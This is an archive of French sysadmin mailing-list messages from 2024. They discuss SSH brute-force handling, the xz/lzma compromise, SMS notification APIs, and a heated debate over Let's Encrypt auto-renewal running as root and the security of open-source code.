[FRsAG] Re: [SPAM] Re: [SPAM] Re: Filtrage de message au runtime
Le 02/05/2024 à 09:16, Luc Bégault via FRsAG a écrit : il me parrait préférable de se reposer sur du code trés surveillé comme ssh A propos, est-ce que la faille concernant lzma a été corrigée ? Y a-t-il une meilleure source d'infirmation que https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1068024 ? Sur ce fil le dernier message date du 22 avril sans qu'il soit clair (du moins pour moi) que le problème soit résolu… ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Filtrage de message au runtime
Le 25/04/2024 à 23:07, Sebastien Guilbaud a écrit : Le 25/04/2024 à 17:29, Sebastien Guilbaud a écrit : > c'est de la sécurité par l'obscurité, C'est la mesure la plus efficace (sauf si c'est la seule). bof, se dire que les vilains ne trouveront pas le service ssh vu que tu l'as mis sur un autre port, ca peut donner une fausse sensation de sécurité, c'est ce que j'appelle la sécurité par l'obscurité. Ma remarque sur l'importance de la discrétion dans la sécurité est générale et ne concerne pas que le changement de port d'un service standard. La "sécurité par l'obscurité" est une meilleure approche que sa réputation ne le laisse entendre. C'est dommage de tomber sur cette technique en première étape de tutos à neuneus qui ne prennent même pas la peine de bloquer l'authentification par mot de passe ou jouer un peu avec MaxStartups pour réduire le débit des bruteforce. La mesure réellement la plus efficace, c'est que le service ne soit pas ouvert à tous vents. (filtrage sur IP source, VPN ou port knocking comme dit plus haut) Effectivement, croire que le seul changement de port protègerait est vraiment naïf. Quant à la protection par simple mot de passe sur un accès ssh, c'est une technique obsolète. Changer le port ssh a l'inconvénient de sortir du standard ; si l'administration devait être reprise par quelqu'un d'autre, ce serait une source de galère supplémentaire. Argument recevable mais alambiqué. Si tu refiles l'admin à quelqu'un d'autre, tu remets tous les sshd exposés sur le port 22 et basta Je pensais à une reprise sans transfert ni préalable… et quand tu distribues la conf ssh versionnée à tous les collègues pour accéder à toutes les machines derrière le rebond, c'est un non-problème. (Merci openssh 7.3p1+ et ~/.ssh/config.d/) De plus, les tentatives de connexions ssh permettent de faire une moisson d'adresse IP à bloquer. Sans être un expert en attaque, je me dis que même les pirates pro (pas les kiddies donc) ne doivent pas se priver de commencer à tester le port 22 et là, paf, il sont bloqués avant de mettre en œuvre des techniques d'attaques plus avancées ou plus larges que celles des kiddies. toi, t'as pas regardé ce que fait endlessh :) ça ne bloque rien, tu collectes aussi les adresses des attaquants si ça t'intéresse, mais tu leur fais surtout perdre du temps avec une réponse protocolairement correcte, juste très lente. (en consommant très peu de ta bande passante, même avec un grand nombre d'attaquants simultanés) J'ai suivi le lien que tu nous a indiqué vers endlessh-go. C'est fascinant de pouvoir ainsi visionner, sur une superbe présentation graphique, les pirates "du monde entier" en train de butiner inutilement ton port 22 ! Cela a l'air encore mieux que la télé pour se distraire :-) Par contre, au niveau amélioration de la sécurité : bof. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Filtrage de message au runtime
Le 25/04/2024 à 17:29, Sebastien Guilbaud a écrit : c'est de la sécurité par l'obscurité, C'est la mesure la plus efficace (sauf si c'est la seule). je n'aime pas, mais ca m'a permis d'avoir un endlessh sur le port 22, et de d'occuper un peu les kiddies qui tentent du bruteforce. Changer le port ssh a l'inconvénient de sortir du standard ; si l'administration devait être reprise par quelqu'un d'autre, ce serait une source de galère supplémentaire. De plus, les tentatives de connexions ssh permettent de faire une moisson d'adresse IP à bloquer. Sans être un expert en attaque, je me dis que même les pirates pro (pas les kiddies donc) ne doivent pas se priver de commencer à tester le port 22 et là, paf, il sont bloqués avant de mettre en œuvre des techniques d'attaques plus avancées ou plus larges que celles des kiddies. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Filtrage de message au runtime
Le 25/04/2024 à 14:46, Stéphane Rivière a écrit : Bonjour à toutes et tous, J'ai, comme tout le monde j'imagine, de la brute force via ssh, qui déclenche le très agaçant message en console "fatal: Read from socket failed: Connection reset by peer [preauth]" D'après mes notes, ce type de message apparaissait pour une debian 9. Je n'en ai pas avec la 10 :-) Ici y'a que de la clé (et passwords invalidés) je ne peux pas filtrer sur les IP entrantes, ni changer le port 22, le plus simple me semble donc d'ignorer la chose. J'ai googlé et ducké sans succès pour voir s'il y avait un moyen de dire au démon sshd de limiter sa prose aux fichiers de logs sans polluer la console. man sshd ou man sshd_config ne m'ont rien dit de sympa (mais j'ai peut être raté une ligne). Avez-vous une opinion ? Ça serait bien de faire un ménage de printemps :) ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: [FRnOG] [ALERT] Compromission de lzma
Le 30/03/2024 à 10:58, David Ponzone a écrit : Ou alors de temporiser un peu en évitant d’avoir le doigt sur apt upgrade ? C'est ça ! De plus, Andres Freund, celui lancé l'alerte, a proposé un petit shell script (clair, concis, simple et dont il est donc facile de s'assurer qu'il est inoffensif) pour vérifier si un système est compromis. De quoi motiver un peu plus de temporisation. Le 30 mars 2024 à 10:10, Laurent Barme <2...@barme.fr> a écrit : Le 30/03/2024 à 04:10, Tim Dobson a écrit : Dans tous les cas, comme toujours, le meilleur conseil est "mettez à jour votre système depuis votre gestionnaire de paquets". En l'occurrence un meilleur conseil serait de s'assurer que le problème n'est pas dans la mise à jour disponible. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/ ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: [FRnOG] [ALERT] Compromission de lzma
Le 30/03/2024 à 04:10, Tim Dobson a écrit : Dans tous les cas, comme toujours, le meilleur conseil est "mettez à jour votre système depuis votre gestionnaire de paquets". En l'occurrence un meilleur conseil serait de s'assurer que le problème n'est pas dans la mise à jour disponible. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: API SMS des opérateurs tel
Le 21/03/2024 à 12:52, David Ponzone a écrit : Le 21 mars 2024 à 12:32, Laurent Barme <2...@barme.fr> a écrit : Oui, elle existe : j'ai bien la coche verte en face de l'option Notification par SMS avec une clé API sur un abonnement Free à 2 €. Mais je ne m'en suis jamais servie car j'ai un numéro virtuel chez OVH pour la gestion des SMS automatisés ; c'est peut-être une autre option intéressante pour toi. Non, ça n’existe plus suite à modification de la régulation. Cela existe toujours pour l'envoi de SMS : https://www.ovhcloud.com/fr/sms/ ce qui est la fonctionnalité recherchée par Théo. Mais effectivement pour le traitement automatique des SMS /en réception/, OVH ne propose plus ce service de "numéro virtuel". Il y aura bientôt (…) des 09 (oui je sais) pour cet usage, bravo l’ARCEP. David ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: La mise à jour automatique des certificats LE est un cheval de Troie.
Le 21/03/2024 à 14:37, Alain Péan via FRsAG a écrit : J'ai entendu, et c'est confirmé par une petite recherche, que Google imposerait bientôt des certificats de 90 jours. Il vaudra mieux à ce moment là avoir une procédure de renouvellement automatique. https://techbeacon.com/security/90-day-ssltls-validity-coming Alain Et bien voilà une information qui clos le débat sur l'automatisation de la mise à jour des certificats SSL ! Merci Alain. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: La mise à jour automatique des certificats LE est un cheval de Troie.
Le 21/03/2024 à 12:51, Jeremie Courreges-Anglas a écrit : Le Thu, Mar 21, 2024 at 11:16:20AM +0100, Laurent Barme a écrit : Le 21/03/2024 à 09:31, Denis Fondras via FRsAG a écrit : Le Wed, Mar 20, 2024 at 10:07:11PM +0100, Laurent Barme a écrit : C'est là où je ne te rejoins pas. Par exemple, à voir comment est codé openssh cela ne me parait pas du tout évident d'y découvrir rapidement un bug. Ok, openssh est complexe mais en plus son codage est tordu. Pourquoi rajouter une complexité artificielle au traitement d'un problème déjà complexe ? J'imagine que tu veux dire OpenSSL et pas OpenSSH ? C'est bien d'openSSH dont je parle. J'ai partagé mon expérience à ce sujet sur mon blog : https://blog.nun.tf/les-limites-de-lopen-source/ ; si tu veux bien le lire, tes remarques et commentaires sont les bienvenus. Dire qu'un projet écrit en C est *trop* complexe parce qu'il utilise des pointeurs de fonction... nan, désolé, ça ne passe pas. Tout logiciel complexe utilise des indirections, que le langage utilisé rende ça transparent ou non. Je ne vois pas en quoi ce serait de nature à faire froid dans le dos. Si tu vois comment modifier le code pour rendre sa compréhension plus abordable pour un débutant *sans amener en même temps d'autres problèmes*, je suis persuadé que tes patches seront bienvenus. Alors je suppose que tu commentes : "On y découvre un style de programmation artificiellement compliqué. Par exemple : mais pourquoi diable passer par un pointeur sur une fonction laborieusement stocké en de multiples exemplaires plutôt que d'appeler tout simplement la fonction elle-même ? Le reste est à l'avenant, avec notamment un recours avide aux pointeurs, une fonctionnalité très puissante lorsqu'elle est bien employée mais une source redoutable d'erreurs." Ce que tu traduis par "un projet écrit en C est *trop* complexe parce qu'il utilise des pointeurs de fonction". C'est curieux cette pratique qui consiste à critiquer ce que je n'ai pas dit… Je n'ai aucun souci avec l'utilisation des pointeurs en C /mais pourquoi diable passer par un pointeur sur une fonction laborieusement stocké en de multiples exemplaires plutôt que d'appeler tout simplement la fonction elle-même ?/ C'est à dire, si tu veux synthétiser : pourquoi rajouter une complexité inutile ? PS : "given enough eyeballs, all bugs are shallow" J'adore la traduction de ggl : /avec suffisamment de globes oculaires, tous les insectes sont superficiels/ on est d'accord que cette pseudo-loi est trop simple pour représenter fidèlement la réalité. Par contre laisser entendre qu'elle serait tout simplement fausse J'ignorais cette pseudo loi et je ne laisse donc rien entendre à son propos, encore moins qu'elle serait fausse. est au mieux trollesque, mais ça je pense que tu le sais très bien. ;) Ha voilà, ton commentaire était en fait destiné à susciter une polémique… Ne crois-tu pas que la bande passante de FRsAG a été suffisamment saturée récemment par des propos hargneux qui n'apportent rien aux lecteurs et qu'il serait temps de revenir à des échanges plus courtois et surtout plus constructifs ? ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: La mise à jour automatique des certificats LE est un cheval de Troie.
Le 21/03/2024 à 13:26, Jeremie Courreges-Anglas a écrit : Le Wed, Mar 20, 2024 at 10:07:11PM +0100, Laurent Barme a écrit : [...] Pour mon premier travail salarié, j'ai eu pour mission de maintenir un programme d'affichage et de traitement d'informations financières en temps réel. Il était profondément buggé, son concepteur étant plus porté sur le fun que la rigueur. Mais parmi les innombrables bugs, il y en avait un qui n'était pas complètement de sa faute. La mémoire allouée au processus principale de ce programme enflait progressivement au point de le planter ; cela faisait désordre dans les salles de marché. Il m'a fallu un temps considérable pour trouver l'origine du problème. J'ai dû écrire une surcouche aux malloc()/free() pour tracer les fuites. Il y en avait une particulièrement inattendue sur la fonction time() qui manquait manifestement de free(). Le logiciel affichait les heures des principales places boursière du monde entier et la fonction time() était appelée plusieurs fois chaque seconde… La fonction time(3) est censée être implémentée par l'environnement (libc) de ton programme. Cette interface n'alloue pas de mémoire censée être libérée par le programme appelant. Pas sûr de piger quand tu dis que ce n'était pas "complètement" de la faute de ton prédecesseur. Est-ce que cela veut dire que l'implémentation de time(3) dans la libc contenait un bug ? C'est ça ; il y avait un bug dans la fonction. Je garde de cette expérience une profonde aversion pour la maintenance d'un code écrit par un autre et une idée précise de la difficulté de cette tâche. Ce qui n'est pas très précis, c'est où se situait ce bug dont tu parles. Tu sembles impliquer que c'était il y a longtemps, donc ça se comprend. Mais du coup je ne sais pas ce qu'on devrait en conclure. C'était il y a 36 ans. Libre à toi d'en conclure ce que tu veux (je ne comprends pas bien le sens de ta question). ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: API SMS des opérateurs tel
Le 21/03/2024 à 12:19, Théo VARIER via FRsAG a écrit : Hello la liste, Je sais que le sujet a déjà été abordé à propos des prestataire de distribution de SMS. Mes questions d'aujourd'hui sont sur les API de notifications SMS fournies par les fournisseurs telephone. Free fourni une API qui permet de s'envoyer sur son propre mobile (forfait free) autant de SMS que l'on veut. C'est gratuit, et c'est hyper pratique pour se faire envoyer les alertes via cette API (https). Je l'utilise depuis des années avec un forfait à 19.99 ou 15.99 euros. Questions : Est ce que quelqu'un sait si cette option existe avec les forfait à 2euros de Free ? Oui, elle existe : j'ai bien la coche verte en face de l'option Notification par SMS avec une clé API sur un abonnement Free à 2 €. Mais je ne m'en suis jamais servie car j'ai un numéro virtuel chez OVH pour la gestion des SMS automatisés ; c'est peut-être une autre option intéressante pour toi. Est ce que Orange propose un truc similaire ? payant ? Chez d'autres opérateurs ? Merci les colistiers pour vos retours d'expériences, -- Théo ___ Liste de diffusion du %(real_name)s http://www.frsag.org/ ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: La mise à jour automatique des certificats LE est un cheval de Troie.
Le 21/03/2024 à 10:25, Stéphane Rivière a écrit : Ces choses-là étant dites le logiciel libre (que je peux recompiler, par opposition à de l'open source inbuildable avec des binaires gentiment proposés) représente un tel progrès dans la connaissance et dans la prod que je n'imagine juste pas mon métier sans lui... Tout à fait d'accord ! ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: La mise à jour automatique des certificats LE est un cheval de Troie.
Le 21/03/2024 à 09:31, Denis Fondras via FRsAG a écrit : Le Wed, Mar 20, 2024 at 10:07:11PM +0100, Laurent Barme a écrit : C'est là où je ne te rejoins pas. Par exemple, à voir comment est codé openssh cela ne me parait pas du tout évident d'y découvrir rapidement un bug. Ok, openssh est complexe mais en plus son codage est tordu. Pourquoi rajouter une complexité artificielle au traitement d'un problème déjà complexe ? J'imagine que tu veux dire OpenSSL et pas OpenSSH ? C'est bien d'openSSH dont je parle. J'ai partagé mon expérience à ce sujet sur mon blog : https://blog.nun.tf/les-limites-de-lopen-source/ ; si tu veux bien le lire, tes remarques et commentaires sont les bienvenus. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: La mise à jour automatique des certificats LE est un cheval de Troie.
Le 20/03/2024 à 20:58, neo futur a écrit : Bon, je ne suis pas intervenu dans ton troll LE mais je me dois d intervenir su celui ci . Merci d'intervenir ; je suis intéressé par toute discussion constructive qui pourrait faire progresser mes connaissances, surtout lorsque c'est fait sans agressivité. Non, je n'ai jamais eu l'intention de troller quoique ce soit. Bien au contraire, je n'imaginais pas que suggérer sur FrsAG qu'exécuter un processus en root ne serait pas une bonne pratique au niveau sécurité puisse déclencher une telle réaction. La tu attaque l open source. Je suppose que tu n es QUE sysadmin et pas du tout codeur ? ( ici un sysadmin de 50 ans qui est aussi développeur C, et j en passe ) Pas du tout, je "n'attaque" pas l'open source et je suis surtout "codeur". Je pense simplement que ce n'est pas le fait que le code soit "open" qui le rend plus sûr. Par contre je redis qu'il faut qu'il soit open pour être libre. Oui avec l open source il est facile de decouvrir une faille ! Ah, au moins un point où on est presque d'accord. Il est /plus/ facile de découvrir une faille en analysant un code que l'on peut lire qu'un code qu'on ne peut pas lire :-) DONC : * Il est tres probable que la faille sera decouverte RAPIDEMENT , C'est là où je ne te rejoins pas. Par exemple, à voir comment est codé openssh cela ne me parait pas du tout évident d'y découvrir rapidement un bug. Ok, openssh est complexe mais en plus son codage est tordu. Pourquoi rajouter une complexité artificielle au traitement d'un problème déjà complexe ? Pour mon premier travail salarié, j'ai eu pour mission de maintenir un programme d'affichage et de traitement d'informations financières en temps réel. Il était profondément buggé, son concepteur étant plus porté sur le fun que la rigueur. Mais parmi les innombrables bugs, il y en avait un qui n'était pas complètement de sa faute. La mémoire allouée au processus principale de ce programme enflait progressivement au point de le planter ; cela faisait désordre dans les salles de marché. Il m'a fallu un temps considérable pour trouver l'origine du problème. J'ai dû écrire une surcouche aux malloc()/free() pour tracer les fuites. Il y en avait une particulièrement inattendue sur la fonction time() qui manquait manifestement de free(). Le logiciel affichait les heures des principales places boursière du monde entier et la fonction time() était appelée plusieurs fois chaque seconde… Je garde de cette expérience une profonde aversion pour la maintenance d'un code écrit par un autre et une idée précise de la difficulté de cette tâche. car plein de gens qui sont aussi paranos que toi et moi, vont jeter un oeil au code, et les plus autiste d entre nous y passeront peut etre plusieurs jours ( ou nuits ), J'ai un gros doute sur le fait que plein de gens (bienveillants) passent du temps à chercher des failles dans les logiciels open source. Je sais par ma première expérience évoqué ci-dessus que c'est un travail très compliqué. Qui les payerait pour cela ? Mais je ne demande qu'à me tromper ; ce serait une bonne nouvelle. Par contre l'utilisation massive de logiciels open source me semble un facteur bien plus rassurant sur leur fiabilité. Cela multiplie les opportunités de remarquer des failles (ou des bugs). dans le cas d un truc que tu CROIE .devoir faire tourner en root. Ce n'est pas une question de croyance, c'était juste un constat. Mon installation standard de cerbot aboutissait à un processus lancé par root. * Le mec qui voudrait mettre une backdoor dans un logiciel choisira la boite noire, car si il a un minimum d intelligence, il sait que sa backdoor sera vite decouverte et qu il perdra au minimum sa reputation, et au maximum . . . beaucoup plus. Il n'y a pas que l'insertion volontaire d'une faille ; elle peut s'y trouver à l'insu du codeur ; cf. le bug de la fonction time() évoquée plus haut. DONC : * inserer volontairement une backdoor dans un logiciel FOSS est tellement risqué que c est rare. AU PIRE : * parfois une faille ou une backdoor se retrouve dans un logiciel open source Oui. * elle est decouverte 1000 fois plus vite que dans une boite noire. Encore faut-il que ce soit pas découvert par un pirate :-) * res peu de gens , voire aucun, se feront pirater par cette faille open source. * le probleme sera réglé tres rapidement pour les milliers d autres utilisateurs qui se seraient fait pirater si cette backdoor etait dans une boite noire. De toute évidence je ne partage pas cette conviction, voir plus haut. EXCEPTION : des gens qui ont de très gros moyens, comme par exemple la N SA, sont capables de t' inventer des backdoors multi niveau très complexes et quasiment introuvables, car elles n' existent pas à première vue. Il y a aussi eu un concours organisé pour ce genre de sport : http://www.underhanded-c.org/ ; tiens c'est marrant, le lien https ne fonctionne pas pour ce site :-0 depuis 30 ans je n ai
[FRsAG] Re: La mise à jour automatique des certificats LE est un cheval de Troie.
Le 20/03/2024 à 17:20, Stéphane Rivière a écrit : Mais quelle agressivité ! C'est clair que t'as pris cher. T'as vu ça, c'est impressionnant comme notre ami PEB a de l'agressivité à revendre, en tout cas beaucoup plus que de subtilité ou d'humour. Mais heureusement qu'il est là pour protéger les novices qui lisent FRsAG et qui sont évidement incapables de se faire une idée par eux même. Quoique je doute qu'un ton aussi vindicatif soit très pédagogique. Parfois je me demande quand même s'il se rend compte de ce qu'il écrit. Par exemple quand il dit "/qu'il est bien plus facile de trouver rapidement une vuln dans un code ouvert que dans un code auquel tu n'as pas accès./" il ne fait que conforter mon point de vue sur le fait que l'open source serait plus facile à pirater. Aurais-je dit autre chose que des "conneries" ? J'ai pas bien compris non plus où il va chercher des "inversion accusatoire", "argument d'autorité" et encore moins que j’essaierai de le "ranger … dans la case des malhonnêtes" !! Mais bon, c'est pas grave. … Si un jour t'as envie de goûter, je te filerais quelques infos et tu seras étonné de la simplicité. Ah, LE présenté comme ça, c'est tout de suite plus attractif. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: La mise à jour automatique des certificats LE est un cheval de Troie.
Le 20/03/2024 à 15:26, Pierre-Elliott Bécue a écrit : … Mais quelle agressivité ! Mal dormi peut-être ? Bref, j'arrête là en ce qui concerne mon interaction avec toi Ah, enfin une bonne nouvelle. J'espère que tu t'y tiendras, du moins tant que tu liras mes propos avec un esprit aussi vindicatif. , ta mauvaise foi rend la chose non constructive. Là je suis d'accord : ta mauvaise foi rend la discussion non constructive. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: La mise à jour automatique des certificats LE est un cheval de Troie.
Le 20/03/2024 à 15:22, David Ponzone a écrit : Le côté négatif de LE c’est que ça permet à n’importe quel margoulin de présenter un site avec une facade clean en apparence. Tout à fait. Du temps où les navigateurs distinguaient les certificats EV d'une barre verte, il y avait une vrai valeur ajoutée pour ces certificats apportée par un contrôle /humain/, rigoureux et approfondi de la légitimité d'un site. Existe-t-il des certifications ISO ou autres labellisations de qualité qui soient entièrement automatisées ? ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: La mise à jour automatique des certificats LE est un cheval de Troie.
Le 20/03/2024 à 14:51, David Ponzone a écrit : Le 20 mars 2024 à 14:40, Laurent Barme <2...@barme.fr <mailto:2...@barme.fr>> a écrit : Indépendamment, je trouve cela surprenant cette limite de validité à 90 jours pour les certificats LE. Sans parler d'une sollicitation moindre de leurs serveurs, si cela avait été un an, nous n'aurions jamais eu cette discussion. https://letsencrypt.org/2015/11/09/why-90-days.html C’est un point de vue qui se défend. Intéressant ; merci pour le lien. Mais l'automatisation systématique est-elle vraiment un gage de sécurité absolue ? ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: La mise à jour automatique des certificats LE est un cheval de Troie.
Le 20/03/2024 à 12:09, Théophile Bastian a écrit : Merci PEB pour ton mail, que je ne peux que +1 aussi. J'irais même plus loin que ça pour la question du "trojan" : on ne parle en fait pas de Certbot, mais de ACME, un protocole défini par la RFC 8555. Certbot n'est que son implémentation la plus courante et historique, mais j'ai par exemple l'habitude d'utiliser Dehydrated [1] à la place, relativement concis (et donc auditable si on le souhaite) et à mon sens plus léger que Certbot. (Je fais par ailleurs tourner Dehydrated en user non privilégié, avec des droits bien choisis pour pouvoir écrire les certificats et les challenges, et des droits bien choisis pour les applications qui ont besoin de ces certificats : personne n'est root dans l'histoire). Donc tu as quand même préféré utiliser un autre dispositif de renouvellement plus facile à auditer et tu le fais tourner dans un contexte plus sécurisé qu'avec root. Tiens donc :-) En suivant le raisonnement d'origine, on pourrait dire la même chose de tout protocole. BGP, quel cheval de troie incroyable, tout AS le fait tourner ! Je ne souscrits pas à ce point de vue pour le moins exagéré ni d'ailleurs aux autres affabulations de mes propos. [1] https://github.com/dehydrated-io/dehydrated ___ Liste de diffusion du %(real_name)s http://www.frsag.org/ ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: La mise à jour automatique des certificats LE est un cheval de Troie.
Bonjour Stéphane, Merci pour ta réponse bienveillante et apaisée… Il n'y a pas de "fight" pour moi, juste un échange de point de vue ; c'est dommage que cela empêche certains de dormir :-) Je suis aussi surpris par les réactions enthousiastes que l'expression de mon point de vue a suscitées ; j'ai quand même l'impression que mes propos sont mal interprétés (sans parler de ceux qui les déforment). A la base, j'ai juste dit que je préférais dépenser 10 € pour être tranquille pendant un an plutôt que de dépendre d'un processus externe qui est potentiellement faillible ou compliqué à sécuriser. Il y d'ailleurs déjà eu des soucis (https://www.agwa.name/blog/post/last_weeks_lets_encrypt_downtime) et il suffit de chercher "bug let's encrypt" dans ton moteur de recherche préféré pour étayer cette possibilité. Cela dit, tout choix est une question d'arbitrage qui dépend du contexte. Non seulement je ne remets pas en cause ta gestion (ni celle des autres colistiers !) de tes multiples certificats SSL mais je la trouve très bien adaptée à ton cas. Et ce n'est pas un petit bug de LE de temps en temps qui va remettre en cause ton dispositif par rapport aux milliers d'euros que tu économises. Indépendamment, je trouve cela surprenant cette limite de validité à 90 jours pour les certificats LE. Sans parler d'une sollicitation moindre de leurs serveurs, si cela avait été un an, nous n'aurions jamais eu cette discussion. En tout cas LE aura au moins eu un effet très bénéfique pour tout le monde en réduisant considérablement le racket des CA. Par contre je reste médusé par ceux qui sont capables de repérer des "vunls" à toute vitesse ou de conclure qu'un traitement open source est fiable rien qu'en constatant qu'une "centaine de ko" de code sont bien lisibles ! Pour avoir exploré les sources d'openssh à la recherche de la signification de messages d'erreur inhabituels dans les logs, je n'ai clairement pas eu cette impression. C'est une autre idée qui semble largement partagée qu'un traitement est fiable /juste/ parce qu'il est "open source". Il y a pourtant tellement de travail à faire pour _vraiment_ s'en assurer ! Et si la disponibilité des sources est indissociable de la liberté d'utilisation (et de maintenance) d'un logiciel libre, ce serait plutôt un défaut potentiel pour sa sécurité ; la possibilité d'y repérer des failles de sécurité l'est aussi pour les pirates. A toutes fins utiles, je ne dis et ne pense pas que les logiciels open source ne sont pas fiables ! Le 20/03/2024 à 11:23, Stéphane Rivière a écrit : Mon cher Laurent, Comme les colistiers te l'ont détaillé, ce combat me semble un mauvais fight et il y a mille manières de régler éventuellement les points que tu évoques. Pour ma part, étant un faignant professionnel, ma génération de certs (acme.sh + acmemgr.sh en DNS01 only) est confinée dans un serveur de clés isolé et ces certs sont ensuite distribués par ssh via le réseau privé (vrack ovh pour nous) reliant toutes nos bestioles physiques sur les différentes instances concernées. Ça marche ainsi pour nos proxies web, nos (feu) serveurs de mails et autres services zarbis et stranges de nos devs. Tout ceci ne voit pas le jour du réseau public avant d'arriver à destination et c'est bien ainsi. Au bout du compte, LE est juste une bénédiction des dieux car mettre un radis (voire un champ de carottes) chez ces dealers de certs s’insupportait. Pourquoi payer un dealer pour utiliser un pot à miel totalement vérolé ? Ces histoires d'autorités de certification sont une blague. Du foutage de gueule absolu. Évidemment que les éléments secrets sont depuis le premier jour dans les jupes de toutes les agences à 3 ou 4 lettres, sinon ces chiffrements ne seraient juste pas permis car le déchiffrement en temps réel relève du monopole des états et de la négation de la vie privée. Mais c'est commercialement nécessaire, le grand voleur étatique ne tolère pas le petit arnaqueur privé, donc cert pour la sécu des transactions bancaires et pour le MITM et pour le SEO aussi afin d'éviter de se faire défoncer par le gougle & co. Mais au moins c'est désormais gratuit et avec les bons outils totalement automatique et non chronophage. ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] La mise à jour automatique des certificats LE est un cheval de Troie.
DON'T PANIC. (Je suis en train de lire "The hitch-hiker's guide to the galaxy" de Douglas Adams, livre que j'ai rapporté de mon séjour à Londres le weekend dernier ; je me régale.) Le sujet de ce post reprend une communication qui m'a valu de vives réactions pour certaines très sympathiques. Ce commentaire était mal formulé, il fallait lire "La mise à jour automatique des certificats LE est /potentiellement/ un cheval de Troie". Alors non, les certificats LE ne sont pas dangereux, évidemment ! Je m'en suis d'ailleurs beaucoup servi dès que c'était disponible ou presque (début 2017) mais uniquement sur des blogs WordPress installés tout seuls sur des VPS, c'est à dire pour des informations publiques sans données sensibles et dans un contexte sans importance. De toute façon les mises à jour automatiques de WordPress sont à peine moins fiables :-) Hé, pas taper si vous n'êtes pas d'accord ! A lire mes notes, la mise en œuvre des certificats LE était effectivement super simple sauf qu'il y avait dans le crontab : 32 6 * * 0 /root/certbot-auto renew -q Apparemment, il n'est plus nécessaire de renouveler le certificat avec root (et peut-être est-ce que cela a toujours été le cas) quoique sinon je ne vois pas comment concilier ça avec la gestion d'un serveur web qui appartiennent à root. Oui, je sais qu'il serait possible de configurer un serveur apache hors root mais ce n'est pas standard, notamment parce que seul root peut accéder aux ports 80 ou 443. Quoiqu'il en soit, avoir un script obscur qui revoit potentiellement la configuration de mon serveur toutes les semaines, cela ne me plait pas. Je n'ai pas cherché plus loin et j'ai profité des certificats LE pour des contextes sans conséquences. Ce qui ne veut pas dire que l'on ne peut pas utiliser les certificats LE pour des cas autres que ceux où il n'y a pas d'enjeu… J'ai aussi une préférence et une grande confiance a priori dans les produits du logiciel libre (mais pas parce qu'ils sont "revus"). Je les utilise évidemment le plus possible mais j'ai suffisamment d'expérience en développement logiciel (à peu près 40 ans…) pour savoir à quel point il est plus facile de produire du code malveillant que des traitements fiables et robustes y compris pour les cas limites. Donc pour le cas de l'alternative entre un certificat d'une dizaine d'euros annuel et l'hébergement d'un processus hebdomadaire et /potentiellement/ faillible, personnellement, le choix est vite fait. D'autant que je n'ai qu'une petite poignée de certificat SSL à gérer. Oui, cela change tout. Pour ce qui est de chiffrer les échanges avec un serveur web, tous les certificats se valent qu'ils soient auto-signés, wildcards, gratuits ou payants, même très chers. A la base, une clé publique c'est juste le produit de deux nombres premiers si grands que sa factorisation prendrait a priori un temps infini par rapport aux calculs modulo n dans un corps Z/nZ avec n premier qui sont faits pour chiffrer et déchiffrer les échanges… d'une clé symétrique qui sera exploité ensuite. Le recours aux clés asymétriques a simplement déplacé le problème : au lieu d'avoir à assurer le partage confidentiel d'une clé symétrique, il faut s'assurer qu'une clé publique appartient bien à celui qui prétend en être le propriétaire. C'est là où les CA interviennent et l'opportunité d'en faire un racket. Racket soutenu par l'obligation artificielle de tout chiffrer. Pour cela la disponibilité des certificats LE est effectivement une bénédiction ! Car non, en vrai cela ne sert à rien de chiffrer une recette d'Irish coffe partagée sur un blog, à part pour lui éviter d'être totalement ostracisée par ggl. Quant à chiffrer une librairie JS publique, je n'y avais jamais pensé mais je n'en vois pas non plus l'intérêt, d'autant moins que sous couvert de minimisation (mais en vrai pour les protéger d'une réutilisation) la plupart des librairies JS sont quasiment illisibles :-) Par contre conforter l'origine d'une librairie externe par la validation d’authenticité d'un CA est effectivement intéressant mais ce n'est pas le certificat du site qui l'utilise qui le fait. Ah et sinon, pour répondre à la remarque du petit jeune qui m'a gentiment dit d'arrêter de raconter n'importe quoi sur des sujets que je ne connais manifestement pas, je dirais qu'il a au moins à moitié tort. L'expérience a ceci de particulier qu'il ne me rattrapera jamais pour ce qui est de la durée sur laquelle je l'ai accumulée ; je serai certainement mort avant :-)) ___ Liste de diffusion du %(real_name)s http://www.frsag.org/
[FRsAG] Re: Toc toc un support de chez Gandi ?
